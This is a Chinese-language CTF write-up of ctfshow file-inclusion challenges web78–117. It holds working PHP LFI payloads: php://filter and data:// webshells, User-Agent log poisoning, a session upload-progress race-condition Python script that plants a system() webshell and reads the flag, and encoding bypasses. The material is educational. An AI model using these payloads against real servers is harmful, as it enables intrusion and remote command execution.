首页/文章/CTF WEB

ctfshow WEB 入门之文件包含

对于文件包含的学习

学习不是为了征服世界,而是为了不辜负每一次好奇心的出发。

web78

题目描述

文件包含系列开始

php
<?phpif(isset($_GET['file'])){    $file = $_GET['file'];    include($file);}else{    highlight_file(__FILE__);}

输入 flag.php 无返回,可能被拦,换成 ?file=php://filter/convert.base64-encode/resource=flag.php

web79

题目描述

文件包含系列开始

php
<?phpif(isset($_GET['file'])){    $file = $_GET['file'];    $file = str_replace("php", "???", $file);    include($file);}else{    highlight_file(__FILE__);}

语法:str_replace(要找的内容, 替换成什么, 原字符串),但是 str_replace() 不会递归检查。
这道题我们创建一个临时文件,在临时文件中我们构造 system()
data://text/plain;base64,PD9waHAgc3lzdGVtICgiY2F0IGZsYWcucGhwIik7

web80

题目描述

文件包含系列开始

php
<?phpif(isset($_GET['file'])){    $file = $_GET['file'];    $file = str_replace("php", "???", $file);    $file = str_replace("data", "???", $file);    include($file);}else{    highlight_file(__FILE__);}

可以看见过滤了 data 那么文件包含常用的点是日志包含,因为当被包含的文件当中出现代码 include 会去执行,那么日志文件为什么能利用?因为服务器会把你的请求信息写进日志,比如 User-Agent、URL、Referer。可以先把一句 PHP 代码塞进 User-Agent,让它进入 /var/log/nginx/access.log,这叫“日志投毒”。
先在 burp 构造 User-Agent: <?=system($_GET[x]);?> 发送后构造
?file=/var/log/nginx/access.log&x=ls
之后我们 cat 即可

web81

题目描述

做完这道题,你就已经经历的九九八十一难,是不是感觉很快? 没关系,后面还是九百一十九难,加油吧,少年!

php
<?phpif(isset($_GET['file'])){    $file = $_GET['file'];    $file = str_replace("php", "???", $file);    $file = str_replace("data", "???", $file);    $file = str_replace(":", "???", $file);    include($file);}else{    highlight_file(__FILE__);}

先在 burp 构造 User-Agent: <?=system($_GET[x]);?> 发送后构造
?file=/var/log/nginx/access.log&x=ls

alt text

alt text

web82

题目描述

文件包含

php
<?phpif(isset($_GET['file'])){    $file = $_GET['file'];    $file = str_replace("php", "???", $file);    $file = str_replace("data", "???", $file);    $file = str_replace(":", "???", $file);    $file = str_replace(".", "???", $file);    include($file);}else{    highlight_file(__FILE__);}

可以看见这回过滤了 .,这回利用 session 文件包含,利用 phpsession 存成文件这个特性,我们之后通过 include 包含执行文件,我们先构造post

http
POST / HTTP/1.1Host: 1046c9e2-99fb-4ffd-a8a6-c36fd375a650.challenge.ctf.showCookie: PHPSESSID=f0ristyContent-Type: multipart/form-data; boundary=abcConnection: closeContent-Length: 800300--abcContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"<?php file_put_contents('/tmp/a12345','<?php system($_GET[1]);?>');echo 'OK';?>--abcContent-Disposition: form-data; name="file"; filename="a.txt"Content-Type: text/plainaaaaaa...--abc--

get

http
GET /?file=/tmp/sess_f0risty&r=%s HTTP/1.1Host: 1046c9e2-99fb-4ffd-a8a6-c36fd375a650.challenge.ctf.showCookie: PHPSESSID=f0ristyAccept-Encoding: identityConnection: close

我们的 turbo 脚本

python
def queueRequests(target, wordlists):    engine = RequestEngine(        endpoint=target.endpoint,        concurrentConnections=30,        requestsPerConnection=100,        pipeline=False    )    for i in range(10000):        engine.queue(target.req, str(i))def handleResponse(req, interesting):    body = req.response.decode('latin1', 'ignore')    if 'OK' in body or 'CODX' in body:        table.add(req)

我们在 turbo 中看见有几个返回了 ok ,那我们竞态竞争利用成功,紧接着发包

http
GET /?file=/tmp/a12345&1=ls HTTP/1.1Host: 1046c9e2-99fb-4ffd-a8a6-c36fd375a650.challenge.ctf.showAccept-Encoding: identityConnection: close

alt text

访问即可

web83

题目描述

文件包含

php
<?phpsession_unset();session_destroy();if(isset($_GET['file'])){    $file = $_GET['file'];    $file = str_replace("php", "???", $file);    $file = str_replace("data", "???", $file);    $file = str_replace(":", "???", $file);    $file = str_replace(".", "???", $file);    include($file);}else{    highlight_file(__FILE__);}

alt text

session_unset();清空 session变量,比如原来

php
$_SESSION['name'] = 'admin';$_SESSION['role'] = 'root';

执行后

php
$_SESSION = [];

session_destroy();销毁 session 这里我们还是要用到条件竞争
post

http
POST / HTTP/1.1Host: d4e058a1-ea0b-420b-90cc-e6228300fee0.challenge.ctf.showAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: PHPSESSID=f0ristyContent-Type: multipart/form-data; boundary=abcContent-Length: 406055--abcContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"<?php file_put_contents('/tmp/a12345','<?php system($_GET[1]);?>');echo 'OK';?>--abcContent-Disposition: form-data; name="file"; filename="a.txt"Content-Type: text/plainaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa极多的a--abc--

alt text

http
upload_progress_OK|a:5:{s:10:"start_time";i:1781629623;s:14:"content_length";i:406055;s:15:"bytes_processed";i:5276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:5:"a.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1781629623;s:15:"bytes_processed";i:5276;}}}

可以看见小马成功

alt text

alt text

web84

题目描述

文件包含漏洞

php
<?phpif(isset($_GET['file'])){    $file = $_GET['file'];    $file = str_replace("php", "???", $file);    $file = str_replace("data", "???", $file);    $file = str_replace(":", "???", $file);    $file = str_replace(".", "???", $file);    system("rm -rf /tmp/*");    include($file);}else{    highlight_file(__FILE__);}

这里我们看见会删除 /tmp 下的文件,这样我们把小马写到不会删的位置,构造

http
POST / HTTP/1.1Host: 3f6a8768-ccb2-420c-9197-6194e9268c7c.challenge.ctf.showAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: PHPSESSID=f0ristyContent-Type: multipart/form-data; boundary=abcContent-Length: 384885--abcContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"<?php file_put_contents('/var/tmp/a12345','<?php system($_GET[1]);?>');echo 'OK';?>--abcContent-Disposition: form-data; name="file"; filename="a.txt"Content-Type: text/plainaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa极多的a--abc--

alt text

alt text

web85

题目描述

继续包含

php
<?phpif(isset($_GET['file'])){    $file = $_GET['file'];    $file = str_replace("php", "???", $file);    $file = str_replace("data", "???", $file);    $file = str_replace(":", "???", $file);    $file = str_replace(".", "???", $file);    if(file_exists($file)){        $content = file_get_contents($file);        if(strpos($content, "<")>0){            die("error");        }        include($file);    }    }else{    highlight_file(__FILE__);}

这里 strpos 查找的是 < 出现的位置,如果在第一个字符后,就 die 。 这个题我们三个并发,第一个是恶意 session 第二个是干净 session 第三个是 include ,三个并发 burp 有点慢,写了个 python 脚本

python
import concurrent.futuresimport randomimport socketimport stringimport threadingimport timeimport requestsHOST = "a1837509-1e5c-41be-96f3-cc6859a801c9.challenge.ctf.show"BASE = "http://" + HOST + "/"SID = "f0risty"SHELL = "/var/tmp/a12345"UPLOAD_SIZE = 850000THREAD_CLEAN = 16THREAD_EVIL = 16THREAD_INCLUDE = 60RUN_SECONDS = 300evil_payload = (    "<?php "    f"file_put_contents('{SHELL}','<?php system($_GET[1]);?>');"    "echo 'OK';"    "?>")clean_payload = "aaaaaa"stop = threading.Event()hit = threading.Event()def slow_upload(progress_value):    while not stop.is_set():        boundary = "----Codex" + "".join(random.choice(string.ascii_letters) for _ in range(12))        pre = (            f"--{boundary}\r\n"            'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n'            f"{progress_value}\r\n"            f"--{boundary}\r\n"            'Content-Disposition: form-data; name="file"; filename="a.txt"\r\n'            "Content-Type: text/plain\r\n\r\n"        ).encode("latin1")        post = f"\r\n--{boundary}--\r\n".encode("latin1")        body_len = len(pre) + UPLOAD_SIZE + len(post)        header = (            "POST / HTTP/1.1\r\n"            f"Host: {HOST}\r\n"            f"Cookie: PHPSESSID={SID}\r\n"            f"Content-Type: multipart/form-data; boundary={boundary}\r\n"            f"Content-Length: {body_len}\r\n"            "Connection: close\r\n\r\n"        ).encode("latin1")        s = None        try:            s = socket.create_connection((HOST, 80), timeout=6)            s.settimeout(6)            s.sendall(header + pre)            sent = 0            chunk = b"a" * 8192            while sent < UPLOAD_SIZE and not stop.is_set():                n = min(len(chunk), UPLOAD_SIZE - sent)                s.sendall(chunk[:n])                sent += n                time.sleep(0.0015)            if not stop.is_set():                s.sendall(post)                try:                    s.recv(128)                except Exception:                    pass        except Exception:            pass        finally:            try:                if s:                    s.close()            except Exception:                passdef include_race():    sess = requests.Session()    sess.headers.update({        "Connection": "close",        "Accept-Encoding": "identity",    })    while not stop.is_set():        try:            r = sess.get(                BASE,                params={                    "file": f"/tmp/sess_{SID}",                    "r": str(random.random()),                },                cookies={"PHPSESSID": SID},                timeout=4,            )            if "OK" in r.text:                print("[+] RACE HIT")                print(r.text[:1000])                hit.set()                stop.set()                return        except Exception:            passdef run_cmd(cmd):    r = requests.get(        BASE,        params={            "file": SHELL,            "1": cmd,        },        timeout=10,        headers={"Accept-Encoding": "identity"},    )    print(f"\n--- {cmd} ---")    print(r.text[:5000])    return r.textdef main():    print("[*] target:", HOST)    print("[*] session:", SID)    print("[*] shell:", SHELL)    print("[*] racing...")    with concurrent.futures.ThreadPoolExecutor(        max_workers=THREAD_CLEAN + THREAD_EVIL + THREAD_INCLUDE    ) as ex:        for _ in range(THREAD_CLEAN):            ex.submit(slow_upload, clean_payload)        for _ in range(THREAD_EVIL):            ex.submit(slow_upload, evil_payload)        for _ in range(THREAD_INCLUDE):            ex.submit(include_race)        deadline = time.time() + RUN_SECONDS        while time.time() < deadline and not hit.is_set():            time.sleep(1)        stop.set()        time.sleep(2)    if not hit.is_set():        print("[-] no hit, try increasing RUN_SECONDS or thread counts")        return    run_cmd("id")    out = run_cmd("cat /var/www/html/fl0g.php")    if "ctfshow{" not in out:        run_cmd('find / -maxdepth 3 -type f -name "*flag*" 2>/dev/null')if __name__ == "__main__":    main()
bash
[*] target: a1837509-1e5c-41be-96f3-cc6859a801c9.challenge.ctf.show[*] session: f0risty[*] shell: /var/tmp/a12345[*] racing...[+] RACE HITupload_progress_OK|a:5:{s:10:"start_time";i:1781633895;s:14:"content_length";i:850325;s:15:"bytes_processed";i:5298;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:5:"a.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1781633895;s:15:"bytes_processed";i:5298;}}}--- id ---uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)--- cat /var/www/html/fl0g.php ---<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-16 11:24:37# @Last Modified by:   h1xa# @Last Modified time: 2020-09-16 11:25:00# @email: h1xa@ctfer.com# @link: https://ctfer.com*/$flag="ctfshow{9e2d8391-740a-4ceb-8efa-7f4da1574b1b}";

web86

题目描述

继续秀

php
<?phpdefine('还要秀?', dirname(__FILE__));set_include_path(还要秀?);if(isset($_GET['file'])){    $file = $_GET['file'];    $file = str_replace("php", "???", $file);    $file = str_replace("data", "???", $file);    $file = str_replace(":", "???", $file);    $file = str_replace(".", "???", $file);    include($file);    }else{    highlight_file(__FILE__);}

这里的话相当于是 set_include_path('/var/www/html'); ,那搜索相对路径被限制在了/var/www/html,这一题没有限制 < 不用三个竞争,也是跟之前一样

alt text

alt text

web87

题目描述

继续秀

php
<?phpif(isset($_GET['file'])){    $file = $_GET['file'];    $content = $_POST['content'];    $file = str_replace("php", "???", $file);    $file = str_replace("data", "???", $file);    $file = str_replace(":", "???", $file);    $file = str_replace(".", "???", $file);    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);    }else{    highlight_file(__FILE__);}

乍一看好像无从下手,但实际上这里是有漏洞点的,这道题我们想要给文件中写入后门函数是直接可以写的,因为没有对 content 过滤,但是前面拼接了 <?php die> ,因此,当我们想要执行我们写入的文件内容时,就先触发 die 我们无法执行,所以我们必须把 <? 过滤掉,我们知道,base64 能处理的符号是 A-Za-z0-9+/= 那么对于 <?> 这类符号,就能直接扔掉,所以前面的 die 就变成了普通文本,但我们要处理这个协议必须用到 php://filter 这个协议,但是 php 被过滤了怎么办?那么真正的漏洞点出现了,在于 urldecode($file) 这个函数, 正常情况下 php 会对 url 编码进行解码,而此处又解了一次,那么我们可以完全对我们的 file() 进行双重编码,从而不会触发过滤

http
POST /?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30  HTTP/1.1Host: 7d0a9b77-4410-4d36-b83c-65f4097c36f2.challenge.ctf.showAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brConnection: keep-aliveContent-Length: 46Content-Type: application/x-www-form-urlencodedcontent=aaPD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg==

alt text

alt text

web88

题目描述

继续秀

php
<?phpif(isset($_GET['file'])){    $file = $_GET['file'];    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){        die("error");    }    include($file);}else{    highlight_file(__FILE__);}

这个是有过滤的
data://text/plain;base64,PD89c3lzdGVtKCJ0YWMgZmwwZy5waHAiKTsgPz4

web116

题目描述

misc+lfi

打开是个视频,最后提取出一帧照片

alt text

直接搜 flag.php 就行

web117

题目描述

php
<?phphighlight_file(__FILE__);error_reporting(0);function filter($x){    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){        die('too young too simple sometimes naive!');    }}$file=$_GET['file'];$contents=$_POST['contents'];filter($file);file_put_contents($file, "<?php die();?>".$contents);

我们用两两字节交换
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pystsme$(G_TE1[)]?; >

alt text

许可协议

本文采用 署名-非商业性使用-相同方式共享 4.0 国际 许可协议,转载请注明出处。

读者回信

正在翻开留言页...